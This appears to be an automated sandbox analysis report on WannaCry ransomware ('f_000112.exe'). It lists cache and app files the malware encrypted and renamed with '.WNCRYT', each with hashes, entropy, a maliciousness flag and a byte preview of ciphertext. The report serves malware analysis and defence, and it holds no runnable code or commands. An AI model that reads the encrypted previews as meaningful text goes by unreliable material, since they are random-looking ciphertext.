                                                                                                                                                                              SHA-512:F3E0CB9BDEF5CB5B5747BF7627B8DD65178F087E075F7D44A304083FDBB8767BF62611A08950AC6625C95C4444F831D72807FC0E57D18E341FAE4DDC9A0FCD7E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....b..!.c.[...H.[.X...[.E..)..nTYI.).Q..<p_/.f6.....I......W....g.>5......$7.5.}c)y..9.>U..._.Q.U.....[.....BD6f.'........<.h.).{..2.G..$..0;_c..mu.c.....=U=z..1..C8..5CA..6....`.v.e*..I..(...........`8......^.Ch..6...7.'.cz.\/48kN...x.5.RmS.Y.l...$.............O...].3...LO-i.(..z......\.i...y.8n.UF..uR@".d.L.G..p............B&.w......d......@.OW%...W.w...._."nr..z...O.7...]<yU.6..N^.t/.kh..S.43........!m.x.0..8..W.(...n...q..L.).._=[..<.......jf...>X....&T.<A`n.>..e...+..).s.?.aa...w.9aT...il.+.h...d.....9...a.....".......:.=}...I...=(..@....N.+.a...<.s$#.m..B.....}.3......2p!..L.<..Y..&)........./.o.X.......m.....*......A.._N]5/./X..p...@.,..@....U_..<......w..m<.S...h....d.-#.......D-..k$i..;........D].[X..,.d,....hQ.H...a..I.W.x.Z$E.0...c.M.A...+...4.2.s..Dj......T".7..Z..`.@.V...J...........\._.q.=..v\..!&H.0.[...KIG*....F........L...p6ig..C.)S.......`...^.ZU....+`!....Q9.s.N......|Z[.Aj"ZW.q1a...&......5..B....`x5.!

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):702504
                                                                                                                                                                              Entropy (8bit):7.9997476946902
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:3bzx3YY6spiUXiaWqXoP/B/QhvGkIoGI8cxC4l2B+LlAlLVDKV+lDzrsuUEfV:RoY6E1S6Xcv0Gbcx/2BsAlLV+8lD7xd
                                                                                                                                                                              MD5:028CB57B8DD4C31691929061D86678F3
                                                                                                                                                                              SHA1:FE2EAE6CDD2AE3862309627D590A4C9A04F77B6F
                                                                                                                                                                              SHA-256:64CE755FF445C9DACD0E06D951FEB407EFB83DD9F600DCFFA42FEB9212AFAFB9
                                                                                                                                                                              SHA-512:D6363BE6A420A8C405DC5A736137846D7D8635CF71C7376587F9321835951EE4998B4767A7D45B4D119CF3ED3C5F9743B53F05B9D63C1CE5FD3B5423939787A6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....S9Vc}....M&...Pw..-.v.X.Y..$..<..\.>z>.Yb`.n.k.......$8YT|.!+.)....s.W.76....E. ...=C.i"...}.~`mZ}1....c.D.b....L.....KN...R.":..(6^ ....fV..K.K5...P....>.87.h.1..FX.(.m)..T{`C...R...j.Qt...x..r.....@k^......_...!&........W5j..IH*RX.S..~...............\..Z.r.....:..Hmu.@.-...}f.=.i..0+Bt..t...Mr..+@......@..._q..vv..n...!%x E....%.....k?.9.U1.1G.K.F..H...............$..sH2u.....^.^..Bl(..19....cN..q.....F.T.6.6.b..sBcP........-s..GJ..F...^.`V.Q.........yn7..L....1...;..mm....f<.9.~.*k."........+~...k......8(HqU'...m'......b..F..5.>...S.D.7..!L3...*.8Y.b._...{>.Zz8.....^.*...P.>.....B...i.C..^c.T.,G.,..x..S.)m.`..{... .(.y.u.....m{^.w_.Pt.~j..- 5....N.."..........J.l..A.NX.Cp.AE..T...Fd.;..@2...}Y....o.H!.9..u.....&W..e..RWVS]-.W6.h..q.L.s.............P.f .y~.%_]H'..2ob.%..g...#b.@$,..vK.o?.]].r.oF.D..K..$.~.R.7.f9.x...:.r..|].H......*....4..>d.ZQ....m"....+...|.|R.S...d..E[..IAB..z.....TV...e.k.....jo..8-....P[S..`..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\otel-logger-104bffe9378b8041455c[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):97816
                                                                                                                                                                              Entropy (8bit):7.998210824556768
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:JrVe9lw9ecL3YHdE8BLJuTdLrEJULfT2/TJ/MuExJjNpUVzsHUimNb9/QqB:BF91uqtTdwU76/TaxJRa6AQS
                                                                                                                                                                              MD5:81F71F8E910F1BF4E24A64D2D417F8F9
                                                                                                                                                                              SHA1:D9E10AF66609F80E1E349E18ABE92CF51A20971A
                                                                                                                                                                              SHA-256:10E88821F2380D7C9B5A4FEB3CA7A261F14A989131D83506E1A95F200A17C154
                                                                                                                                                                              SHA-512:3E9F5E41BE047158065CAF0B18CFEC016FFDD5534DF33576F347F2825D8C6257D8D021B5D6129089E9B5BD1ABB726E5DD54048C4CA37526B69868CC6650D68DB
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............THTQ.....85...q.\)W.=.n.)..^..a..#.*...K....9...c...........=.....}s./.>.$...3...K ..A.x...0../.O...........(.+3.......@.U...0.....i."....?...Gn.V.@....w.....Y.....g.gK.6....\Y.. ..[I......S....1....]....#.C...B..|.|._..i.?...........,..X.....|......n\..2.R.1.0.Q....p.[.D."_....u.*....t=M.:.....b.......!.......&......+.2..}....i)K....Y.........a.&{_.-P~S...xH..DP.c....sT'..l....#..O..e...|0.@.....s|M....s.1.}..!.....x...o.P............5...@.P.@ .Hy=$.Zl]S..mbGu.Q.@{`."29...k.tp........ .*.....I..X.!.S+gD.9.fv....4.....N.......7..i.>.'5...C.o..'.._<....%M...$.-p3...za..*.?`...u..g....[.......^.7.B.............v>6.2./.......@CYR...#`.7Q..#;.;...}..bQ./.b...@....B`p+.. ..&.4.o7.$..W|A.*+.E.`.U.C...%@....Y^......k......U.K.m...=UJ..v.'_aR..1r.pF.......^&1.2]..cID...1r3.bv?D2,.w].HR~.2......g...&S.t...0.:%JBP...<.........>..R(...a|e...+}&.K%N.l...;.JA.+.T....S..,TI.O#..B{.J .>...03...X.E.....Bw.0..3.;.83,.........`k.G..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-bundle-3a99f64809c6780df035[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1212760
                                                                                                                                                                              Entropy (8bit):7.999848365515391
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:hiUDn5FRlNBUqbinviysGu6eSASuSg/CBnikRSMVwGTU7x2MAH+qBb:3FRPBqnviythjATqDVZkVPqBb
                                                                                                                                                                              MD5:EEF0E34BF34CA6084CFAB46CB92804E5
                                                                                                                                                                              SHA1:2326FBD8CB809F64C3FCDAE069E12927FAE9BF0C
                                                                                                                                                                              SHA-256:4BBA14BF2AD7E4C67656DCB6847F2368CCAF08CDDA85EED73CCAAB87C4401614
                                                                                                                                                                              SHA-512:99ABF2931BE6665A85DEAE5AA979EFE1EBDA074A22FCC34DB31C12E3C4B10F67EDB68E8B68FE2EE6D868EAE230567004B206484E807FAEAE8DB9A5C9A2E5806F
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A<.O...m^...-..Z...v...p!@|)K..*..@.\--p....D.......n....w.1Y..QY.}:m]...........^..SO..i.AP'...*..Gb04.y*6..a7..iV$g....*..U(.......'],.O..0...F~.$........6.N...K..........$...Zo.......y.w:IX.....M......|.${...h>.A..m..%9.......X.*.v;m9....;.........JNT.....L..K.m?..,.T.K...y.+..>.Li.I4l..6..`.}<.../....R...g...n.6.H(@.U..o.L.S.ft...+.....'F!*.....T.....v.`l.3...w.K>0.<.l.......(....m.._J.PHY....:M5H..^.....~t..*.|g.\..`.4....7`.. ............9].y.NP..j.].k...VW...^.C3w...+S....}.. f..............3."&Ok..y.WO....b!/B..."...V1I.m.......Z...........}'`...A.....`.......&.WHJ........}.S....*.x.g.X.)...../../+.k..6..Q.].J.....:l.=6".}.n#E.m......._.{..I.+#w...9.J_&A1Z..z.dXOtpx....Z..\I..p..6.^.@..m(.p.m....+..v.-.#+.g..}..*o...i...l.V...(.*.`.U...)-..~p..D..."%.#.G.@Y..<C.j...f...K.,.i..jvI].....>.H...+.tW.t..D..d.a..._.|..s......C.M....>..H.f......c.j.T!Q.q..IX`.8...d...;.Lrn.+..R3..........5&w...^..8..}Kt'.79v0.v.3..HV%1r....j1.|

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):46296
                                                                                                                                                                              Entropy (8bit):7.996164596620755
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:NDrHCyQphgZ7MBbrPqh1BhD1e6zG7fQ0l3vEtkrMxdtz+yjYpd2GtZpchce:NayQpqZey7BhDpG74y/IkY7tr0byB
                                                                                                                                                                              MD5:09ACF6CC05E4617EE271581C23A348DF
                                                                                                                                                                              SHA1:5BC30E4954F9C0F1E710715FE05C644BC478F211
                                                                                                                                                                              SHA-256:580720E9E32704976C388B411667D84003E57EF0CFFDA4C07040B2315DFDCD03
                                                                                                                                                                              SHA-512:3355D0DDAED35078392C2FBB68BFC4C2C15D71E11E0B0F60E5376446A8966032194D12EEA226B41127885A877E1A88C3E57C0F2A8DA2380515B2BC9DF7658CC6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....xO.$...$t.).=.$.KD..z...s....Lfc..D|.+.;........59!:sQ...`o*.[K.+..}.va~P].h.G..+.V....[..ot.H.......?.p.k.....}....v...t...OV.?..`..2.....e..DCRe._....Z.>$>..7..8...Q...=.....F.u.....6.a;....,.\..$=.\3....O....E.~..:......)|E...E.;.g.?.sx.................G.(......-........:..8..0*01.....D.Y.Pm.......2G".......;.Xz...5M.d......@.....;..E..2.....8h.[~.e.\.{....AX.'.$.`e...0.LX.O..*R.Po...8..X$'c?.l .$q...L.I'..S..a...oA8..QeW...Ak...N.}}8*..u........0[......Z...d..6.NM....(..{0.P......If_n..|u6...,.......T.!.....8.O`.U.$,..%.;Le4_..{.......sz..2.$;..@.m.K...}.DqT......|.._.B#..srt...K....g ...Sd!..}.q...tv.O.....\[..#..V...=....^....Fx._....~.6....e......B<...X.v..Z.fW......y.L..M.......T...f....:.B.{...z!.%....c.I..U.g/..S.L/....g.(.F.(.4*.p&{x.0aEux@ .r..7..d..:.........5..v..?..U.....*.*.m..Y>`8jT^......k.F....Z.n.g{.u,9...Z2.a...o...y...,.Og..K.q..TH.~(kU...}.8..S$..>..v....1..W,G7)V...<.?!98M..4....U.?;X.U...t....REM...I.{

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):53480
                                                                                                                                                                              Entropy (8bit):7.996315256681294
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:9wy9s1XlhCC0ifWZqBrwzYnu+rsqmHVYj2qQlG5W6GhzG338TUdwx:uRVlAZMhuM1mHwn5W6+IM1x
                                                                                                                                                                              MD5:F4E2B65B341F23679F7AB25E66F12FB7
                                                                                                                                                                              SHA1:1E35B89829EB0E081DA01B501DCA12B7E5AA54E8
                                                                                                                                                                              SHA-256:2F950764375177627EB83626EC1F3D8DB515E47EC62D18E1011412B557FC37DF
                                                                                                                                                                              SHA-512:E6D489E11C30E2508651B1A7F505E967E60B931D3CF37396F5C46F238A40BF8CF77BABD8F6A25E016F44CAEDA0D7E4CFE2E5BDF9B2F698F8242EE514CFAF1A0C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........Y>(>......P...].......l".6.H....TP.Nf....>.p.!.Pf5#"....]....#....+..C......I..<..>..f....)p%)...Nb3..n.v.h,..x...?0..>..4..o..B..[4.0..t..........d...P...}..........?..!.].....T.K.X..4}...Z>Y$..q..`.,......{..I....X".....J@f....R..;...)...D............qj....E.....t...^...?...H.j..1F5@b.J&]..f.-{.OQ..R. ..f....6...{..#.........W|..J.#.!Y..Dj.B..K.>.s...d........_.y9w..9.........^..Q.6o8..O..`.aO.......k....}...F.c......'....u.).{.A..... ....u..o.BM.0...\.50.X.U...0....k.1..B..P.:..z.M.Z......h0.9O..LLk.D......m...@.M...,......wJ`......B.~._.1.Lh....~.`.4..}..N....Ts..m\.r.[..-R<eN...&..H..^......_..y..@{D^.*..@.[......0.m...../..0...Q..bv.Nf.G%.....w.Z......6Q...F.XsS.as.'..4..zf....)F....`2&w.b".cY.!...d.....C.... .CG2..E.(R.B. k.lkSV1'&n..?.-.f.'.>..[...t..P2h....}1...t_vLUS.,..E..!2k+..[... ...8...>...r....F--...P$....8S.8lCL.l..x...*.V.J....P...0...uM.>.]..u....A.8......VD._..T>..#....X.H..=.(,.e.6...ue .'.*S.J..Y...aj...PB..?s4.M..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\staticpwascripts-30998bff8f[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):18856
                                                                                                                                                                              Entropy (8bit):7.990043779114563
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:QCffiiTJMrxNbpg9o3uF0SEQ2gaIVWVT/+TaqBKpA:QCHiidMrxN1g9euF0S2gNcFoc6
                                                                                                                                                                              MD5:044BAA94BF99A8642380E2F5AC48ABD7
                                                                                                                                                                              SHA1:AEDC33536DAAEA9BBA67C96E7F1B1EAA098EE991
                                                                                                                                                                              SHA-256:7A1DB1CBC57C60F10923927F2E36ED44050417C6D36B10622F03AF746A7611DC
                                                                                                                                                                              SHA-512:4AAF5E8E6B576733D202662684B86DABBF838AF3C640E5876F28DB94C40A2146FA38A8F4B06263068EB37BAACB32840F6AF7A8C21F1685FDCFCB17CBB77A166B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....}...@2.+..r>...H..N. ..Q.'3.lF..H..QQ..." ......,..4.k..O...d...K.../.0".`...C0...w*......8...V..l...v}....=:....g9.y1<.!Q.d.....8..."....b.|t.xJR.3....7L.|bsVf...k]3w..~....(.O.8..C..o...../-."w6.F2.0)f.<6..F..6E>.).'....fk...Kk..]..2j..P)o3.....H......./.L.(`.....h.....m..P..._......H..&.L.....!..fZ...9.......!o...............O..>..8...8..z..3.q..}.D..8$..k..Xr.5..+......C.'....$.>.wP..h.f.=.}.%.O8...@.N.>...h.!....].b.t<.t....G..2....$...I.......Pt.[Q...P/..)R.,..2..A?.@.Ix.>.y..3."....l`U..m....`......D..HH.....C.R..$'p...%.W...........!...A..$....]...^.I.l.R.&.>.Ma..+..7.m..52@.z-...F$J.0V+....@..E..hWGfS.....#.x`...].z..8..H.i)....#..}..J'......[2.X.p..z.q.J..4Kg..e.B.p.q..o..A].yX^h..Co.v......g...`..$.6..`^.....Z......F.'...x..d^... 3........z..~..Q..i:..?.m......v...6.]8%.x....O..C...o|.g...X M.../<.R*8......T/.z.z...n>F...rcYM'..!K.x.i...\u.L..`.......<.HH....jY....h.....>.z..sk'D{..uq.En..a..e.E(+.S....3....&.v

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1573144
                                                                                                                                                                              Entropy (8bit):7.999871994288255
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:fGWDwg6jZ37EyYdayqSAlkcycw7wrHXbJmhkxeYFcQad+NazsSMl48W9cFKc5ANl:fGWDe7rjSVR7eXbJiOeYFVfNT4D8BANl
                                                                                                                                                                              MD5:1B596C0A3259D884E42C2E66DFC11DC8
                                                                                                                                                                              SHA1:4A5C3390822FB0DC5071B8B7DBEBFB2289FC4982
                                                                                                                                                                              SHA-256:08A15DF79527765F8A65A295586A0B8590F2B5678F267140F2C89310E0AD65A1
                                                                                                                                                                              SHA-512:C4EEC116F958B00672E95E98B78B156A460751A2EDAE7FBA483B5EE84D9A5882A47B2C618D75034D255A049BB70DDBCD0B05EC4941E6CC7B8994E85A76027160
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......t.........<fn..L..c......x....|P..,f.....Y;..t.Z.cZ......:.A9..?.......o.$-..SS`..f.MY6.lQt...M7.<...~...}.).0J...[.*n...ylJG...(.Q.r*..K`.....^.SA!....9d(..HTz}Am=.Fq.&=a.h. 5..JB.!l........."0,..F.....j......i3j....[aZ..n.S...]..m,..$4..R/..............ShD#...R,....}.M.2.....>zG..5...(s.h....-z...h.X.Zl...Q?...W..@....O0.\......|...........L..<...a8..ue6[...R.H.!..Gv.h...y...n..xo..4D.nV[........G'.t.TE.8.l).$.wE....e1...1.>.....)K..q.+o..}h..0#/.^.vL.`K67n...\..7....\.`L..9.w.Wh....._.y.3R...B._..lS..>...X04..!KR..6...........#. .U.D.C.L....W.~...O|...x.......pO....P......6B.CS...7.....X..Tv.7......t.x.a<....TJ*b..X......~$..A.q.k...*.H#k!.'.. ..bJ.......C...O........%e......*.$3.OO.m.V5...7..X..I.N..e..+.0vX{..{...(..-._.].K../.,e.........C{.v..FP...'...S..~.8.?...G..p..a.?~.1:...j.t.A......CG.k..W?$......0.a..-.(...5.}..T)..B...2.A..b..o|.....=!...FL...ni|H.._<i...w.....J0[....g.R...'.u..mq...9."OJ......-.<o.~..3.O...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1573144
                                                                                                                                                                              Entropy (8bit):7.999885175517752
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:w/E60QJw55bLA9M0Ln7wdpoKNxi3taXKO:Mtw309MqncgKNx+tYKO
                                                                                                                                                                              MD5:998F7CF60ED60E19EC70C4BF931BEB09
                                                                                                                                                                              SHA1:9FB4828BE1036CA6A8BA8B38442E032194432468
                                                                                                                                                                              SHA-256:75FC3470C59F7E4B3047B283A442B44B37AC9999507AD1F8610E7547C06FF343
                                                                                                                                                                              SHA-512:57EEB7584A70D7A35A5CDCC29DDD9AE7F86BA297CB9A65C3EF79171521EE017599A5B6B3DB722AC1FDFE6F993476D9FF4488EA5D056919F73CC354E13ECC2A1E
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....g.L......8c.g...j.D.U.[..u$...@=l)..."./.....Y....ZY4.L"....Qk....1f..(.....5V.M..............v..v...#K.x._..y.H.l.u^.{3....[g.<.j0..S.U...;........`..}m....f..E].f3I.@......B..uO........:A?....t........k...Z.[.M~R.&.j8.Q...Gt..d]q].Y..............[..(.uQ.Pbt.....}..........WN.....0.^A..._...[.?=...3.RK..usqq..4..+Fj"...u.P.n0....=..q.....~K?.....8.B.*U.V.qA...>..X.L%.)...!.bU#.r..H...i....g...&..I..c......1....)CT.v..2...Q*s...4.,..S.5.M).7M?..T..|..mb..Mb!u.F.......0..O[..p.2..*.i.K*.qh...H.l.?r).....-%.Pi..G..r..sL.X]......i.A8...Q.(....!...T....C.0]2o.q...?.y.OLH.c.St.\.../oN..{w.<....S.j..*G...^...'...*tr....a...9.h.....d.!.~9..}c8.-N..+...8Y^...F....Pe..;....{I...00.s7..b.k>.nA,./.a........v..Y..m...C..._.t...1*..4...UV..j+...r.~l..._7.Z.}6.V.[.b...5..t!...s.v...('.....%.5.&..r...A...F...L.c..f.}...C......udl.$..G.Z.e...t...>f..m.]#:r.".M\.z.._.T.h%.D<f....?}......./a.......-....a..H..Y+.....o.."<?XnQ..T#..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sd5265G8OlnRColAI8O_SxSQ1Q.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):126360
                                                                                                                                                                              Entropy (8bit):7.998608786350374
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:oZRluDFDAEkFNoQULZ+uFl/eeUGdO7s4FAx7:oZRyi4Fr1dUGXh7
                                                                                                                                                                              MD5:D25C2CD7F062F64E921A8365F0D95425
                                                                                                                                                                              SHA1:25FE6EF23EB8FCF01D9A19F37FAA204C61EB62E3
                                                                                                                                                                              SHA-256:43B2129018C33682F92D0B103D440076682AE3E9BEDCD3F2D9E3F442F150DF2E
                                                                                                                                                                              SHA-512:66BA73747F0646B44B7822E528428B54316D20DFD0B2A8780B1734516EDC8082B086635A71EC8F4221586E82D1A56E54FDD63992B60751B1CBF674613E0EE922
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......$&Cg.O...8.D.].....Q.5;.d..@....~....n.}M..../e.c...!!@<.9.>).u..} ..#G..'!.+...q..A.......eW.2t..=@cU...j[.$"@;.1),GT.5.4.i.9J....;S......e.[.KZ.h....@..;@...R.k..F....1.F...}......*.).._O..h...N{....:CBv.."K.*!...O....Y..?.)U.P....z.%.?.............\.=.~5(..A........v..{;...4..bm.q...$.../.o.@.6.....y...q...*..+...8.W.5.;.}D..4H|^H...4C....w.D.._.v..b`.c.fiA..j..K,....YB"7m../.xr..j..._.HY_4Z...-...V.|A..t....2....C.k..I=.I...{.).)Q.5j..'.....-...=).k-..V...s..GZ.......0w.$..n.=.ZEUC.j..8.:Jq..-i.T0.z.'U........r.....GM..-:A.Q.Q.Y.......X?8}ex?.{....`O>............X.e...!]}W/....bL....i.p......@...ZM,.B..X...F...)..y.L.ce.p4{.D....H(W'5I>Y.>.,gU.}......L.,....g.....`..Uv.6.2?.$......@E..B..6...i..&....Uu...9....X....U..6'bYf|.e.%....T....N..@...w.}:..o.......`.../{.$>..(.a.*...a.=. M30.....KN.>tn< .q...gH..]k....X.(_..3Q6....Mt.o.....>.C.....TF..^.,.P.......;.2X........[h....mM.|.u...^M.7.;B...!...^/..x,.I..;?-..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1Sn5SNt0IREcKFlp90or9jPLf2M.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):15224
                                                                                                                                                                              Entropy (8bit):7.98751490872385
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:DHHRNldR9OhJ/Zsn+msEEUUkVmSl8Tistbz49YtdOqDqtP8p3hP:DHbl9OOn+mREUrl8eMv4sNtrP
                                                                                                                                                                              MD5:A2DCA0DEE0DBE01E441C040FD4FD2CD1
                                                                                                                                                                              SHA1:2107DD9AB792057628DF8E453EEDF666F674A442
                                                                                                                                                                              SHA-256:5C9187A146CFF000AD8F68BB2A75169AF0006B994434E6445E7B32B26D629047
                                                                                                                                                                              SHA-512:A4684CE57ACC5FB77B6E1FF629571A3C8014532BB8D713841A667C29810303A74A2B68A3783206F8E03593B88E7B21385C35CD0D273C86979E45745C68ED4DEC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....f......hi..XV.e.....c.vE.VI..~r.i.)..xLa3z.Cq.. T...D..z.,.;Ty..b....q. %)A......Q.1.o.X./..>T.R..h...{Lc..v.&$Fh.........$..,..........qD=H.DS.Ou..&.....Y`\....A1...R.Uv{Q.h......e...0.r.+...'\....].:...s......Zk.n..C.Rwwb....6......H.p.....F5\.....Q:...........Y.....vX.UO8.7..jN..yEgG..M^.Sh.U)...6..<i.7..=..KQ..../...R=|.0.*.y..d......}]a......^-N.a%.<....&...[*=...WM....P...%U.G...Z+.F..RQ......k..|.~..'..Q?x9.....X.....e....+(?..QB.^.....=9r..[.6(...#5b...3.\..|..{.r...(./..+'.."...3....\..g.4,.....$...W..=v*b.+...:.R.....].'}.....fGh.%...I..x._S..f.YR.~Q....6Q..k6..LF...[..*.t... ....L..%}...y:........s....6.EF.=.ms[.>.\.".....Y'...%...D<........z....CXV,.C.a..r..;.8.T....1:..N.).".G.N.'.?.#./.aH.>qZ.X.....$YFd@X..C.i....~.Kx.....lX.l...d.....P"F.a..........~.T..GF.FVx.qza......Cv...f.)..\.'....O...:..0.....F.5...5...$...B...G.$.)x}>....".g. ..&\.....U.~.C.9.....&]}..|Z......Z.`..yr..L#E..../..k.\;.......O..e...,.L\.g...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\1_gc11zDuaJOyBP7gyptBGdPRf4.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):59896
                                                                                                                                                                              Entropy (8bit):7.996669644499615
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:CR5bxG18JGsgPGoSv+SH4DMfN5vsT9MrVjdHCZDWeR6VU+we:CR5HJG7Sv+3DUk9AVpty+we
                                                                                                                                                                              MD5:F506322AB5816FF94AEA5F3C2745CE78
                                                                                                                                                                              SHA1:DD5413378BA9D236D9B71FD2858DC74D3C66A8F3
                                                                                                                                                                              SHA-256:74A25D428E07750C3DD3009518C52EC8A14DB1E346376E9551F023AE9356D2F3
                                                                                                                                                                              SHA-512:32FC4197316640D3614DBF6D5D7EBD1CE24C03134A50787E92BED959CB909951E66517B441FF8DC6AA6A7DBF860E2E8862BF3BE46EB97AA479DC50AE66E30DCC
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......V.....;.@.f.......a.Q..u..tL.. *%.Sb...*I....}6J@eY.9BIfJ..v..1r...\..Q...J.!.n.H..c.....-.Sp...A)k...&I....ov.8..{4.f...?..%.A...XO.Q....n)..>&...... .7.Z..b$.{..3>........T.0..:/..G...R.0...3"..O..........y.`1j|<.4.D0.f...}%......6]..6.7M................."$UV...A.y._.#.@..:.x.j&.l....w;.C.$.#)..^...ha#|..pp2.e...i...^.G..t......,^..TD.f,....4@....&..0"...O.N.Sm.-V....X.{...}.?.).hl#.).%....C..................gj.`,.1x.F!.7*.P{......[...<.....=P@...;37....J...k.D..D...d..U.O.up.......RF`..(..W.....#./....#.wn....P.....*..a...X...3.o4..S...(4#d..,W..0.......U..lQ.`.<8...x z......y.&.Uy.....3...b..Q...V]F@.*..k.\X...?6:<<.-..uB=...S....V....>='.Z......UHA..... .......JZ`....#...........Q.q...*.l.{...`.,...l.Q.y........B.Q.9U......W..).T8?...UB.K.0......M..l..y..t.....gL....Xn..&q9..r|..t...[....%..JC.f......hNI(..YA.$.rb..P_.....Q.....w...../.].`..+..5.....C........1.=...6..%c.bH. E.&.:p..O...wp~.3...0.<.E.{)~..a.....Ef......

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\4BpQ1bD8vX1mXuJObN-gg9RqkyQ.br[1].js.WNCRYT

                                                                                                                                                                              Download File
